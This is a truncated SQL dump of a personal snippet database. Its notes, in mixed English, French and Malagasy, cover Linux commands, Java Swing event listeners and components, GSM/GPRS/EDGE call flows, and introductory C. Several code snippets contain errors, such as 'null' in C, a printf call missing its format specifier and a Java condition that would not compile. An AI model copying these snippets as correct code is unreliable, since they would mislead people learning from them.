-inotifywait',NULL,NULL,'\nu have to install \n    inotify-tools\n\ninotifywait -m -q -e create,delete,move /path/dir\n','2015-03-02 03:15:34'),(883,'#linux -synchronize-folder -rsync -long-list',NULL,NULL,'\nTo sync the contents of dir1 to dir2 on the same system,\n    rsync -r dir1/ dir2\n                 ^\n                 L+--- do not forget this\n    if u forgot: \"rsync -r dir1 dir2\"\n        then there will be:\n            dir2/dir1/....\n\nhttp://www.cyberciti.biz/tips/linux-use-rsync-transfer-mirror-files-directories.html\n','2015-03-02 03:49:20'),(884,'#linux -find -version',NULL,'find --version',NULL,'2015-03-02 04:04:55'),(887,'#linux -checksum',NULL,NULL,'\nthose are the types of checksum in linux:\n    sha\n        sha1\n            pass\n            deep\n        sha224sum\n        sha256\n            sum\n            deep\n        sha384sum\n        sha512sum\n        shasum\n    md5\n        deep\n        pass\n        sum\n    cksum\n','2015-03-02 04:21:00'),(886,'#linux -find -regex',NULL,'find . -regextype sed -regex \".*/[a-f0-9\\-]\\{36\\}\\.jpg\"',NULL,'2015-03-02 04:06:42'),(888,'#java -MouseListener -gpn -interface',NULL,NULL,'\notrzao ny maazatra zan ee...                                                                                                                                                                                                                           [2/35]\n===================================\n\nclass FrameMouseListener ext JFr implements MouseListener{\n    @Override:\n    public void mouseClicked(MouseEvent e){ ... }\n    public void mousePressed(MouseEvent e){ ... }\n    public void mouseReleased(MouseEvent e){ ... }\n    public void mouseEntered (MouseEvent e){ ... }\n    public void mouseExited(MouseEvent e){ ... }\n}\n\net pour avoir les coordonnees des clics:\n    public void mouseClicked(MouseEvent e) {\n        sop(\"x: \"+e.getX()+ \" y: \"+e.getY());\n    }\n\net pour savoir si le click est clickee par droite ou par gauche\n...\npublic void mouseClicked( MouseEvent e){\n        v----------------------------^\n    if((e.getModifiers() & InputEvent.BUTTON1_MASK) != 0){\n          ------------+-              |      |\n                      |               |      |\nc un truc de bit,    -+               |      |\necrit le juste com ca-+               |      |\n        ...                           |--+---|\n                                         |\n        // ici si le click vient du click_gauche\n        ...\n        // si le click vient du click_droite:\n        //      ....BUTTON3_MASK....\n        // click_centrale\n        //      ....BUTTON2_MASK....\n    }\n}\n...\n\npour gerer le double_clics\n    ...\n    public void mouseClicked(MouseEvent e){\n        if(e.getClickCount() == 2) {\n            ...\n            // pour le double click\n        }\n    }\n    ...\n\npour gerer si le bouton_droit est clicker avec <ctrl>\n    ...\n    public void mouseClicked( MouseEvent e ){\n        if( e.isControlDown() & (e.getModifiers() & InputEvent.BUTTON3_MASK) ) {\n            // ici pour gere <ctrl>+click_droit\n        }\n    }\n    ...\n    // il y a aussi:\n    //      isAltDown()\n    //      isShiftDown()\n    //      isMetaDown()\n    //          true si une des: <ctrl>, <alt>, <shift>\n    //              est appuiee\n\nMouseListener est souvent couplee avec MouseMotionListener\n\n','2015-03-12 07:53:09'),(889,'#java -MouseMotionListener -gpn',NULL,NULL,'\nc_est pour l_evt quand la souris est: \n    en deplacement\n    s_est fait trainee\n\ncette interface est souvent couplee avec \n    MouseListener\n\nclass FrameMouseMotionListener ext JFrame impl MousemotionListener {\n    \n    public void mouseDragged( MouseEvent e ){ ... }\n    public void mouseMoved( MouseEvent e ){ ... }\n\n}\n','2015-03-03 00:47:54'),(890,'#java -gpn -windowlistener -windowAdapter',NULL,NULL,'\nclass FrameWindowListener ext JFrame impl WindowListener {\n\n    public void windowClosing( WindowEvent e) {...}\n    public void windowOpened( WindowEvent e) {...}\n    public void windowIconified( WindowEvent e) {...}\n    public void windowDeiconified( WindowEvent e) {...}\n    public void windowClosed( WindowEvent e) {...}\n    public void windowActivated( WindowEvent e) {...}\n    public void windowDeactivated( WindowEvent e) {...}\n\n}\n\nou_bien\n\nclass FrameWindowAdapter ext JF {\n    public FrameWindowAdapter(){\n        ...\n        addWindowListener( new WindowAdapter(){\n            public void windowClosing( WindowEvent e ){\n                System.exit( 0 );\n            }\n        });\n        ...\n    }\n}\n','2015-03-03 00:44:03'),(891,'#java -gpn -jlabel',NULL,NULL,'\nJLabel label = new JLabel(\"this is a label\");\n\nadd label into a container of extJFrame\n','2015-03-03 01:15:19'),(892,'#java -print-String-array',NULL,NULL,'\npublic static void printSimpleArrString(String[] strArr) {\n    for ( int i = 0; i < strArr.length; i++){\n        if ( i != strArr.length - 1 ){\n            System.out.print(strArr[i] + \", \");\n        }else{\n            System.out.println(strArr[i] );\n        }\n    }\n}\n','2015-03-03 03:47:30'),(893,'#java -get-avalaible-fonts',NULL,NULL,'\nString fontes[] = GraphicsEnvironment.getLocalGraphicsEnvironment()\n    .getAvailableFontFamilyNames() ;\n','2015-03-03 03:52:07'),(894,'#java -jpanel -police -long-list -drawString -font-metrics -alaligne -gpn -color',NULL,NULL,'\npublic void paintComponent(Graphics g){\n    super.paintComponent(g);\n    g.drawLine(x0, y0, x1, y1); // pour le tracee de ligne\n\n    g.drawString(\"coucou\", x0, y0);             +-----------------------------------+-+\n    FontMetrics fm = g.getFontMetrics() ;       | jframe                            |x|\n    y0 += fm.getHeight() ;   <<------------+    +-----------------------------------+-+\n +> g.drawString(\"je suis la\", x0, y0);    |    |    coucou                           |\n |                                         +->  |    je suis la                       |\n |       sinon pas       --+               |    |                                     |\n |         d_a la ligne    +---------------+    |                                     |\n |                       --+                    +-------------------------------------+\n |\n +-->> x0 reste la meme, mais c y0 qui a changee\n\n\n\npour donner du couleur a drawString,\n.........................................\npublic void paintComponent(Graphics g) {\n    ...\n    g.setColor(Color.red);\n    g.drawString(\"coucou\", 100, 50);\n    g.setColor(Color.blue);\n    g.drawString(\"je suis la\", 150, 50);\n    ...\n}\n\na propos des police \n    nom de famille de la police:\n        Arial, Helvetica, ...\n    style:\n        romain, bold, italiques, ...\n    taille\n    \'\n    ex.\n        ...\n        g.setFont(\"Serif\", Font.ITALIC, 32);\n\npour donner du fond de couleur a _jpanel_\n    ici on met un carre sur le jpanel, puis\n        on colorise le jpanel\n    \'\n    public void paintComponent(Graphics g){\n        ...\n        g.setColor(Color.red);\n        g.fillRect(0, 0, this.getWidth(), this.getHeight());    \n        ...\n    }\n','2015-03-07 22:32:13'),(895,'#java -paint-component -jpanel -long-list',NULL,NULL,'\nclass MaFenetre extends JFrame{\n    private JPanel pan ;\n    MaFenetre (){\n        setTitle (\"Essai dessins\") ;\n        setSize (300, 150) ;\n        pan = new Paneau() ;\n        getContentPane().add(pan) ;\n        pan.setBackground(Color.yellow) ;\n    }\n}\n\nclass Paneau extends JPanel{\n     public void paintComponent(Graphics g){ \n        super.paintComponent(g) ;\n\n        int this_width = getWidth();\n        int this_height = getHeight();                         +-------------------------+\n                                                               | jframe                  |\n        g.drawLine (15, 10, 100, 50) ;                         +-------------------------+\n        g.drawString(\"txt00\", 50, 50);                         | +-  ___________         |\n                                                               | |  (           )        |\n        g.fillOval(20, 20, 75, 75);                 +------------+  |           |        |\n        g.drawOval(x0, y0, width, height);          |          | |  |           |        |\n                                                    |          | |  (___________)        |\n        g.drawRect(10, 10, 50, 60);                 |          | +-                      | \n        g.fillRect(10, 10, 50, 60);                 |          |                         |\n                                                    |          |                         |\n        g.drawRoundRect(10, 10, 30, 50, 10, 10);  --+          +-------------------------+\n        g.fillRoundRect(55, 65, 55, 30, 5, 5);    --+\n\n        int x[] = {20, 30, 50, 60, 60, 50, 30, 20};\n        int y[] = {30, 20, 20, 30, 50, 60, 60, 50};\n        g.drawPolygon(x, y, 8);\n                            ^+-------- pour dire qu_on a 8angles sur le polygone.\n        g.fillPolygon(x, y, 8);\n    \n        #end_drawXX_fillXX\n    }\n}\n','2015-03-03 07:43:19'),(896,'#java -ImageIO -gpn -jpanel',NULL,NULL,'\n\nFile >> ImageIO >> Image\n........................\nclass FramePanel impl JPanel{\n    ...\n    public void paintComponent(Graphics g){\n        try {\n            Image img = ImageIO.read(new File(\"/path/images.jpg\"));\n            g.drawImage(img, 0, 0, this);   \n                                    ^^+------ observer00 (l_observateur de l_img)\n        } catch (IOException e) {\n            ...\n        }\n    ...\n}\n','2015-03-03 07:53:07'),(897,'#java -gpn -jsplitpane -intro -container',NULL,NULL,'\nil est utile pour diviser un frame en 2jpanel\n\nJSplitPane split = new JSplitPane(JSplitPane.HORIZONTAL_SPLIT, pan, pan2);\n\nclass extJFrame {\n    extJFrame(){\n        JPanel pan = new JPanel();\n        pan.setBackground(Color.blue);\n        \n        JPanel pan2 = new JPanel();\n        pan2.setBackground(Color.red);\n\n        JSplitPane split = new JSplitPane(JSplitPane.HORIZONTAL_SPLIT, pan, pan2);\n        //                                          .VERTICAL_SPLIT\n        \n        split.setOneTouchExpandable(true);\n        // pour avoir une ptite fleche sur le separateur de JPanel00\n\n        split.setDividerSize(int size) ; \n        // pour donner une taille au separateur\n\n        split.setDividerLocation(int location);\n        // pour definir l_emplct par ou le separateur va se placer\n        \n\n        this.getContentPane().add(split, BorderLayout.CENTER);\n        setVisible(true);\n    }\n}\n','2015-03-07 22:20:37'),(898,'#java -some-container -list','\nJSplitPane\nJScrollPane\nJTabbedPane\nJDesktopPane\nJWindow\nJEditorPane\nJSlider\nJProgressBar\n',NULL,NULL,'2015-03-03 09:33:23'),(899,'-alarm in #linux',NULL,NULL,'apt-get install alarm-clock','2015-03-05 02:56:35'),(900,'#memcached -intro','Memcached is an open source, high-performance, distributed memory object caching system.\nhttp://www.tutorialspoint.com/memcached/index.htm\n',NULL,NULL,'2015-03-05 04:15:18'),(901,'#gprs -limitations','\nGPRS transmission rates are much lower than in theory.\n    to achieve the theoretical maximum of about 170 kbit/s\n        one user has to be allocated in eight time slots\n        which is not likely to be allowed by network operators\n\ntransmission in gprs is like the transmission in the ip_network\n    so to reach the target, packets have to go through many nodes\n    that can produce delays affecting the qos\n\nThe protocols between the BSS and the SGSN support mainly asynchronous\n    making it a challenge to implement real-time interactive traffic\n',NULL,NULL,'2015-03-05 04:43:47'),(902,'#gsm -limitation','\nmultiple users share the same bandwidth\n    the transmission can encounter interference\n\n    Because GSM is the same network worldwide, \n        users are not charged a roaming fee for international calls. \n            However, most providers still charge a service fee on international calls\n',NULL,NULL,'2015-03-05 05:36:33'),(903,'#gsm -voice-call-log','\n-> The Mobile Station is requesting connection\n-> The BTS is sending request data to the BSC\n-> The BSC is sending request data to the MSC\n-> The MSC is checking registration and subscribed services of calling MS\n-> The MSC is checking registration and location of called MS\n-> The MSC is sending request data to the GMSC\n-> The GMSC is sending data to another network\n-> The GMSC is requesting registration and location data of called MS\n-> The HLR is checking authentication, validation and location of called MS\n-> The HLR is sending registration and location data to the GMSC\n-> The GMSC is sending location data to the MSC\n-> The MSC is sending location data for call set-up to the BSC\n-> The BSC is paging called MS\n-> Connection established\n-> CDR generation: MOC,POC\n-> Connection terminated\n-> CDR generation: MTC,PTC\n',NULL,NULL,'2015-03-05 05:37:22'),(904,'#gsm -call-ms_to_pstn',NULL,NULL,'\nThe MSC/VLR receives the message of a call request.\n\nThe MSC/VLR checks if the mobile station is authorized to access the network. \n    If so, the mobile station is activated. \n    If the mobile station is not authorized, service will be denied.\n\nMSC/VLR analyzes the number and initiates a call setup with the PSTN.\n\nMSC/VLR asks the corresponding BSC to allocate a traffic channel (a radio channel and a time slot).\n\nThe BSC allocates the traffic channel and passes the information to the mobile station.\n\nThe called party answers the call and the conversation takes place.\n\nThe mobile station keeps on taking measurements of the radio channels\n    in the present cell and neighboring cells and passes the information to the BSC. \n    The BSC decides if handover is required, \n        if so, a new traffic channel is allocated to the mobile station and the handover is performed. \n        If handover is not required, the mobile station continues to transmit in the same frequency.\n','2015-03-05 08:40:29'),(905,'#gsm -call-pstn_to_ms','\nThe gmsc receives the call and queries the HLR for the information needed to route the call to the serving MSC/VLR.\n\nThe GMSC routes the call to the MSC/VLR.\n\nThe MSC checks the VLR for the location area of the MS.\n\nThe MSC contacts the MS via the BSC through a broadcast message, that is, through a paging request.\n\nThe MS responds to the page request.\n\nThe BSC allocates a traffic channel and sends a message to the MS to tune to the channel. \n    The MS generates a ringing signal and, after the subscriber answers, the speech connection is established.\n\nHandover, \n    if required, takes place, as discussed in the earlier case.\n',NULL,NULL,'2015-03-05 08:43:11'),(906,'#linux -create-partition#ntfs',NULL,NULL,'\nthis next cmd is taken from gparted\n    when it tries to format to a ntfs_partition\n    \'\n    mkntfs -Q -v -L \"\" /dev/sdb2\n','2015-03-05 08:45:16'),(907,'#gsm -protocol-stack','\n                     |                     |                        |\n                cm   |                     |                        |        cm\n          -----------+---------------------+------------------------+---------------\n                     |                     |                        |\n                mm   |                     |                        |     mm\n                     |                     |                        |\n          -----------+---------------------+------------------------+---------------\n                     |                     |              dtap      |   dtap\n                     |                     |  rr          bssmap    |   bssmap\n          -----------+---------------------+------------------------+---------------\n                rr   |    rr        btsm   |              sccp      |   sccp\n                     |                     |  btsm                  |\n                     |                     |              mtp3      |   mtp3\n          -----------+---------------------+------------------------+---------------\n                     |                     |                        |\n             lapdm   |   lapdm     lapd    |  lapd        mtp2      |   mtp2\n                     |                     |                        |\n          -----------+---------------------+------------------------+--------------\n                     |                     |                        |\n             gsm_rf  |   gsm_rf   layer1   |  layer1      mtp1      |  mtp1\n\n                    Um                   Abis                       A\n',NULL,NULL,'2015-03-05 09:17:28'),(908,'#edge -intro -long-list','\nedge introduces a new modulation technique,\n    as well as protocol enhancements for transmitting packets over the radio\n\nedge is _almost_ a 3g\n    the use of new modulation technique increased dramatically throughput and capacity gains enabling 3G services\n\nNo changes are needed to the existing core network infrastructure to support EDGE\n\nnine mcs are introduced (mcs1 to mcs9)\n    4 of them are using gmsk\n    5 uses 8_psk_modulation\n\nwhat edge technologies required:\n============================================\n    MS should be EDGE enabled\n    in bts: the hardware in bts is Edge enabled\n    in bsc: Definitions for EDGE timeslots needs to be done in BSC\n    in gsn: Definitions for Edge need to be defined in GSN\n\nbenefits:\n============================================\n    Increases the capacity and triples the data rate of GPRS\n    Enables new multimedia services\n        ifk: mms\n    Harmonization with WCDMA\n    Short-term benefits: Capacity and performance\n    Easy implementation on a GSM/GPRS network\n\nfor the user, it means:\n============================================\n    Streaming applications\n    Very high speed downloads\n    Quicker MMS\n    Video conference, Remote presentations\n',NULL,NULL,'2015-03-06 01:27:39'),(909,'dual-ip-stack -intro','\nused for for IPv6 migration\n\nIt helps to establish communication between your IPv6 network \n    and the native IPv4 hosts and applications\n\nA dual-stack node has support for both protocol versions(ipv6 and ipv4)\n',NULL,NULL,'2015-03-07 15:30:26'),(913,'#java -jtabbedpane -intro',NULL,NULL,'\nto put many jpanelXX in sth like this:\n\n            +-------------------------------------------------+\n            | jframe                                          |\n            +-------------------------------------------------+\n            |+------+------+---------------------------------+|\n            ||tab01 |tab02 |tab03 |                          ||\n            |+------+      +---------------------------------+|\n            ||                                               ||\n            ||    content of tab02                           ||\n            ||        this is a jpanel02                     ||\n            ||                                               ||\n            |+-----------------------------------------------+|\n            +-------------------------------------------------+\n\n\n\nclass extPanel01 ext JPanel {                                  -----+\n    public void paintComponent(Graphics g){                         |\n        g.setColor(Color.blue);                                     +---this are not\n        g.fillReect(0, 0, this.geWidth(), this.getHeight());        |      really important\n    }                                                               |   u should know these\n}                                                                   |     before\n                                                                    |\nclass extPanel02 ext JPanel{                                        |\n    public void paintComponent(Graphics g){                         |\n        g.setColor(Color.red);                                      |\n        g.fillReect(0, 0, this.geWidth(), this.getHeight());        | -->> used to draw the \n    }                                                               |        background into\n}                                                             ------+            red\n\npublic class FrameTabbedPane ext JFr {\n    constructor {\n        tiitle, bound, default_close\n        JTabbedPane tabbedpane = new JTabbedPane();\n\n        extPanel01 pan01 = new ext...\n        .........2 ....2 ...........\n        \n        tabbedpane.add(\"onglet avec blue\", pan01);\n        tabbedpane.add(\"onglet avec red\", pan02);\n\n        this.getContentPane().add(tabbedpane);\n        setVisible(true);\n    }\n\n}\n\nif u want to put an img in the place of tab in the tabbedpane\nin the constructor before\n    u have to add sth\n    \'\n    ...\n    tabbedpane.add(\"onglet avec blue\", pan01);\n    tabbedpane.setIconAt(0, \"/path/img00.jpg\");\n    ...\n\nJTabbedPane onglet = new JTabbedPane(JTabbedPane.LEFT);\n\nif u want to do sth like this next one:\n\n       +--------------------------------------------------+\n       | +-----+-----------------------------------------+|\n       | |tab01|                                         ||\n       | +-----+                                         ||\n       | |                                               ||\n       | |tab02      content of tab02                    ||\n       | |                                               ||\n       | +-----+                                         ||\n       | |tab03|                                         ||\n       | |     |                                         ||\n       | +-----+-----------------------------------------+|\n       +--------------------------------------------------+\n\nthen u have to do this next cmd :\n    JTabbedPane onglet = new JTabbedPane(JTabbedPane.LEFT);\n\n\n','2015-03-07 22:53:51'),(915,'#java -jpanel -paint_bg',NULL,NULL,'\npublic void paintComponent(Graphics g){\n    ...\n    g.setColor(Color.red);\n    g.fillRect(0, 0, this.getWidth(), this.getHeight());    \n    ...\n}\n\nconstructor ext JPanel{\n    ...\n    setBackground(Color.red);\n    ...\n}\nbut in that case(with constructor) u don_t have to redefine method\n    paintComponent\n','2015-03-07 23:06:33'),(916,'#java -jdesktoppane -jinternalframe -intro',NULL,NULL,'\nifk:\n    jdesktoppane is a kinda container for jinternalframe\n    these 2 objects must work 2gvr\n\n#sdz(378)\n}\n','2015-03-07 23:17:48'),(917,'#java -jwindow -intro',NULL,NULL,'\nthis is like jframe but without button to:\n    close\n    maximize\n    minimize\n','2015-03-07 23:19:12'),(918,'#java -jslider -gpn',NULL,NULL,'\n+----------------------------------------------------+\n| jslider                                            |\n+----------------------------------------------------+\n|        ._.     ._.    ._.    ._.                   |\n|  +------+-------+------+------+--------+           |\n|  +------v-------v------v------v--------+           |\n|  |  `   |   `   |   `  |   `  |    `   |           |    <<-+      --+--+\n|  0     20      40      60     80      100          |       | <<+  --+  |\n|                                                    |       |   |       |\n|                                                    |       |   |       |\n+----------------------------------------------------+       |   |       |\n                                                             |   |       |\nclass extJFrame {                                            |   |       |\n    constructor{                                             |   |       |\n        ...                                                  |   |       |\n        JSlider slide = new JSlider();                       |   |       |\n                                                             |   |       |\n        slide.setMaximum(100);                               |   |       |\n        slide.setMinimum(0);                                 |   |       |\n        slide.setValue(30);   // the default value           |   |       |\n                                                             |   |       |\n        slide.setPaintTicks(true);            ---------------+   |       |\n        slide.setPaintLabels(true);           -------------------+       |\n        slide.setMinorTickSpacing(10);                   -+--------------+\n        slide.setMajorTickSpacing(20);                   -+\n\n        ...\n    }\n}\n\nslide.addChangeListener( extChangeListener00 )\n                          ^^^^^^^^^^\n         +++ ---------------++++\n        vvvv\nclass ChangeListener{\n    public void stateChanged(ChangeEvent ce) {...}\n}\n\nto exploit jslider:\n    public void stateChanged(ChangeEvent ce) {\n        ...                               ^      +-- take the source and\n        sop(\":\" +          -------------- +      |     cast it to jslider\n            (             |                      |   when jslider is gotten\n                (JSlider)(ce.getSource() --------+     take the value..\n            ).getValue())\n        );\n        ...\n    }\n        \n\n','2015-03-08 00:10:46'),(919,'#java -programming-techniques','\nfaites tjr en avant les methodes avec des arguments tres nombreux\n    puis faites les meth avec les arg moins nbrE qui va dependre du meth avec arg_nbrE\n\nifk avec jdbc:\n    tu dois faire les requete dans resultset puis\n        tu exploite resultset apres\n',NULL,NULL,'2015-03-08 07:28:26'),(920,'#java -logger -intro -long-list',NULL,NULL,'\nlogger in java must be singleton\nlogger in java must be static\n\nit is loaded from \n    import java.util.logging.Logger;\n','2015-03-08 07:08:48'),(921,'#java -drag-drop',NULL,NULL,'\njust set this cmd:\n    ...\n    component00.setDragEnabled(true);\n    ...\n\ncomponent00 could be:\n                            Drag            Drop\n    JTextField                  1               1\n    JLabel                      0               0\n    JTextArea                   1               1\n    JPasswordTextField          0               1\n    JTable                      1               0\n    JTree                       1               0\n    JList                       1               0\n','2015-03-08 09:14:30'),(922,'#java -regex -long-list','\n^       Matches beginning of line. (i don_t know this very well yet)\n    instead i use a.*\n    instead i use a.*\n$       Matches end of line.\n\na|b     Matches either a or b.\n(re)    Groups regular expressions and remembers matched text.\n[abcde] Matches any single character in brackets.\n[0-9]   Matches 0 till 9\n\nre*     Matches 0 or more occurrences of preceding expression.\nre+     Matches 1 or more of the previous thing\nre?     Matches 0 or 1 occurrence of preceding expression.\nre{n}   Matches exactly n number of occurrences of preceding expression.\nre{n,}  Matches n or more occurrences of preceding expression.\n\n\\w     Matches word characters.\n\\W     Matches nonword characters.\n\\d     Equivalent to [0-9].\n',NULL,NULL,'2015-03-08 09:44:35'),(926,'#c_pr -intro -hello',NULL,NULL,'\n\n#include <stdio.h>               ----+---directive_preprocesseur\n#include <stdlib.h>              ----+\n\nint main()                          ---+----meth_main\n{                                      |\n    printf(\"Hello world!\");            |\n    return 0;                          |\n}                                   ---+\n\nsave it in /path/file00.c\n\nhere is a script in which u can compil and run the c_file\n\nc_comp_run(){\n if [[ -n $1 ]]; then\n        cc -g -Wall \"$1\" -o ${1/.c/};\n        ./${1/.c/};\n    else\n        echo \'to compile c program\';\n        echo \'  ex : this_ cprog00.c\';\n    fi\n}\n\nto run it c_comp_run /path/file00.c\n\n','2015-03-08 16:53:02'),(927,'#c_pr -printf -long-list',NULL,NULL,'\nint main(){}\n    printf(\"this is a test\");\n}\n\nprintf ne fait pas d_a la ligne automatiquement\n    il faut mettre \\n si on veut que printf fait d_a la ligne\n    \'\n    ex:\n        printf(\"first line\\n\");\n        printf(\"second line\");\n\n\n\n\nprintf(\"Ah ! Vous avez donc %d ans !\", age);\n\n%d	integer\n%f	float\n%p     val_addr\n    ex: \n    int a = 10;\n    printf(\"val_addr: %p\", &a);\n        // 0023FF74\n        // souviens que, qui dit \n        //  %p dit &var00\n    printf(\"val_var: %d\", a);\n\n%c      char\n%s     string(chaine de char)\n#end_percent\n\n','2015-03-08 22:12:53'),(928,'#c_pr -scanf -long-list',NULL,NULL,'\nint main(){}\n    double poids = 0;\n    scanf(\"%lf\", &poids);\n}\n','2015-03-08 15:48:13'),(929,'#hw -about-memo_and_programming','\nde plus rapides au plus lentes:\n    registres,\n    memo_caches,\n    memo_vive,\n    disque_dur\n\nce que la memovive(RAM) se presente:\n   +-----------------+----------------+\n   |    0            |  4568999       |\n   |    1            |  7.346         |\n   |    2            |  0.543567      |\n   |    3            |     ...        |\n   |    4            |     ...        |\n   |    5            |     ...        |\n   |    6            |     ...        |\n   |    7            |     ...        |\n   +-----------------+----------------+\nen chq addr on pE stocker une seule valeur\nla memo n_est faite que pour stocker des nbr\n    pour stocker lettre, il y a table qui fait la relation\n\nen faisant \n    int age = 10;\n    \'\n    le prg dmd au os de stocker ce donnee(10)\n	l_os repond et indique ouu le prg peut stocker ce donnee\nsupposant 10 est stocker dans addr=4655(role du compilateur)\nle mot age est remplacee par 4655\n\non a donc\n    \n    addr        |       val\n----------------+--------------\n+-> 4655        |       10\n|\n+-------------+\n|             |\n4655 <---> age\n\npour avoir l_addr du var age on utilise \n    &\n    donc,\n        print(\"addr_age: %p\", &age);\n    va afficher\n        4655\n    \'\n    \'\n    scanf(\"%d\", &var): veut dire\n        mettre la valeur recue dans l_addresse_du_var\n\npour avoir la valeur du var age, on utilise\n    age\n    \'\n    printf(\"age: %d\", age);\n',NULL,NULL,'2015-03-08 17:37:26'),(930,'#c_pr -using-memo','\nnotre programme a besoin de stocker des données\n    ils seront stocker dans la memoire vive\n    \'\n    registres et mem_caches aussi sont utilisees mais \n        cela se fait automatiquement.\n',NULL,NULL,'2015-03-08 15:56:33'),(931,'#c_pr -function -long-list',NULL,NULL,'\nint addInt(int a, int b){\n    return a+b;\n}\n','2015-03-08 16:01:59'),(932,'#c_pr -math',NULL,NULL,'\ntu dois charger le directive_preprocesseur\n    #include <math.h>\n\npour la valeur absolue\n    int abs_val = fabs(-5);\n\npour la prochaine integer au dessus\n    int ceil_val = ceil(7.876);\n\nfloor est l_inverse de ceil\n\npuissance\n    pow(nbr, puissance);\n    \'\n    double double_val = pow(4, 2);\n    // double_val = 4^2\n    //  = 16\n\nracine_carree\n    double d_val = sqrt(9);\n\nsin, cos, tan\n    double sin_val = sin(rad_value);\n','2015-03-08 16:15:09'),(933,'#c_pr -if',NULL,NULL,'\nif (age >= 18){\n    printf (\"Vous etes majeur !\");\n}else if ( age > 4 ) // Sinon, si l\'âge est au moins supérieur à 4\n{\nprintf (\"Bon t\'es pas trop jeune quand meme...\");\n}\n\nelse // Sinon...\n{\n    printf (\"Ah c\'est bete, vous etes mineur !\");\n}\n','2015-03-08 16:17:16'),(934,'#c_pr -switch',NULL,NULL,'\nswitch (age){\n    case 2:\n        printf(\"Salut bebe !\");\n        break;\n    case 6:\n        printf(\"Salut gamin !\");\n        break;\n    case 12:\n        printf(\"Salut jeune !\");\n        break;\n    case 16:\n        printf(\"Salut ado !\");\n        break;\n    case 18:\n        printf(\"Salut adulte !\");\n        break;\n    case 68:\n        printf(\"Salut papy !\");\n        break;\n\n\n    default:\n        printf(\"Je n\'ai aucune phrase de prete pour ton age \");\n        break;\n}\n\n','2015-03-08 16:19:53'),(935,'#c_pr -function -for_fut',NULL,NULL,'\nint read_int(){\n    int res = 0;\n    printf(\"int: \");\n    scanf(\"%d\", &res);\n    return res;\n}\n\nvoid print_str(char txt[]){\n    int _size = strlen(txt);\n    int i = 0;\n    for (i = 0; i < _size; i++){\n        printf(\"%c\", txt[i]);\n    }\n}\n\nfor reading_str check(935);\n\n\n\n\n\nhere are some functions which u can use for managing the string\n========================================\nsuppose that \n    char[] txt=\"this is a test\";\n\nto get the length\n    int length = strlen(txt);\n\nto concat 2str\n    char chaine1[100] = \"Salut \", \n    chaine2[] = \"Mateo21\";\n    \'\n    strcat(chaine1, chaine2);\n    // chaine1 = Salut Mateo21\n\nto build a str01 from another str00\n    char chaine[100];\n    int age = 99;\n    sprintf(chaine, \"Tu as %d ans !\", age);\n    / chaine = Tu as 99 ans\n','2015-03-08 23:02:24'),(936,'#c_pr -for -basis',NULL,NULL,'\nmain() {\n    ....\n    int i;\n    for (i = 0 ; i < 10 ; i++){\n        printf(\"Je ne dois pas recopier mon voisin\n\");\n    }\n    ....\n}\n\ntsMande rah\n    for(int i = 0; i < 10; i++){ ... }\n','2015-03-08 16:32:02'),(937,'#c_pr -prototype -intro -long-list',NULL,NULL,'\nndrai ndrai mnw erreur rah lasa aloha ny main ka miantso\n    fct izay ani aorianan_main\n    \'\n    tkn asina prototype(declaration izn ani am voloan_ny prg)\n        ka azo alefa ani aoriana ny fct00 rhf aveo\nex:\n    #include<stdio.h>\n    #include<stdlib.h>\n    double aireRectangle(double largeur, double hauteur);\n    \'\n    main(){\n        // mapiasa fct_aireRectangle(6.7, 8.5);\n    }\n    \'\n    double aireRectange(double largeur, double hauteur){\n        return largeur * hauteur;\n    }\n\nrhf hnw anle prototype anle fct izay tsMretournee nininn ren\n    asio void ny any am prototype\n    asio void aty manomboka ny meth\n','2015-03-08 21:53:03'),(938,'#c_pr -header',NULL,NULL,'\nt_as vu le prototype(lg juste precedent(937))\n\npossible qu_on a bcp de prototype\non met ces prototypes dans fichier_header(file00.h)\n','2015-03-08 16:47:11'),(939,'#c_pr -var_global',NULL,NULL,'\n#include ....\n\nint a = 0;       ---+---- ces var seront accessibles dans\ndouble b = 1;    ---+        tout les fichiers du prg\n\nstatic int c = 8;       ---+---- ces var seront accessible par tout\nstatic double e = 8.7;  ---+         les methodes de ce fichier\n                                     mais tout les fichiers du projet\n\ndouble aireRect(double lrg, double lng);\n\nint main(){\n    ....\n}\n','2015-03-08 16:56:54'),(940,'#c_pr -var_static',NULL,NULL,'\n\nint fct00 () {             +-- ceci sera _pas_\n    static int a = 0;   ---+     effacee de la memo\n    ....                   +--   meme apres exe de fct00 par main\n    return 0;\n}\n','2015-03-08 16:59:03'),(941,'#c_pr -pointer -long-list',NULL,NULL,'\nqui dit pointeur, dit addresse\nles pointers sont des nouveaux types de variables\n\nles ptr sont des var pour stocker des addr\n\ncreation\n    int *monPointeur;      ------- ceci de preference\n    int* ptr00;\n\ninitialisation\n    int *ptr00 = null;\n\n\n\n               +-------------------------------+\nsupposons:     v                               |\n    int age = 10;                  -----+      |\n    int *pointeurSurAge = &age; ----+   |      |\nalors:                              |   |      |\n                                    |   |      |\n    addr        |   val             |   |      |\n ---------------+---------------    |   |      |\n    0           |   678             |   |      |\n    1           |   87.6789         |   |      |\n    2           |   177450      <<--+   |      |\n         +-----------^                  |      |\n    ...  v      |                       |      |\n    177450      |   10             <<---+      |\n    ...         |    ^                         |\n                     +-------------------------+\n\nsi on veut afficher le val_age a partir du ptr_pointeurSurAge,\n    printf(\"val_age__venant__de_pointeurSurAge: \", *pointeurSurAge);\n    // 10\n\nqui dit:\n    printf + *ptr\ndit qu_il y a une autre variable, dont tu dois savoir\n\n\n\n\n\n\n\nenvoier un ptr a une fonction\n===================================\nalors la var qui est envoiee sur la fct sera changee\n    meme apres avoir sorti du fonction\n\nex:\n    #include....\n    fct_ptr(int*);   // prototype\n        // ceci genere un erreur si t_as fait\n        //      fct_ptr(int);\n    \n    main(){                                   main(){\n        int a = 8;                                int a = 8;\n        fct_ptr(&a);             -OR-             int *ptr = &a;\n        printf(\"a: %d\", a);                       fct_ptr(ptr);\n    }                                             printf(\"a: %d\", a);\n|                              |              }\n+--+---------------------------+\n   +--ifk: aleo ti irai iti no apiasaina\n    \n    fct_ptr(int *a){   --+----- qui dit ptr dit addr\n        *a = *a + 10;    |        on continue a utiliser le ptr\n    }                  --+        meme apres la declaration sur arg\n\n\nfor a pointer to pointer\n    main(){\n        ...\n        char **ptr = NULL; \n        char *p = NULL; \n        char c = \'d\'; \n        \n        p = &c;\n        ptr = &p; \n\n        printf(\"\n c = [%c]\n\",c);              // c = [d]\n        printf(\"\n *p = [%c]\n\",*p);            // c = [d]\n        printf(\"\n **ptr = [%c]\n\",**ptr);      // c = [d]\n        ...\n    }\nhere how it is in the memo:\n                                        -+\n            +--- 2000 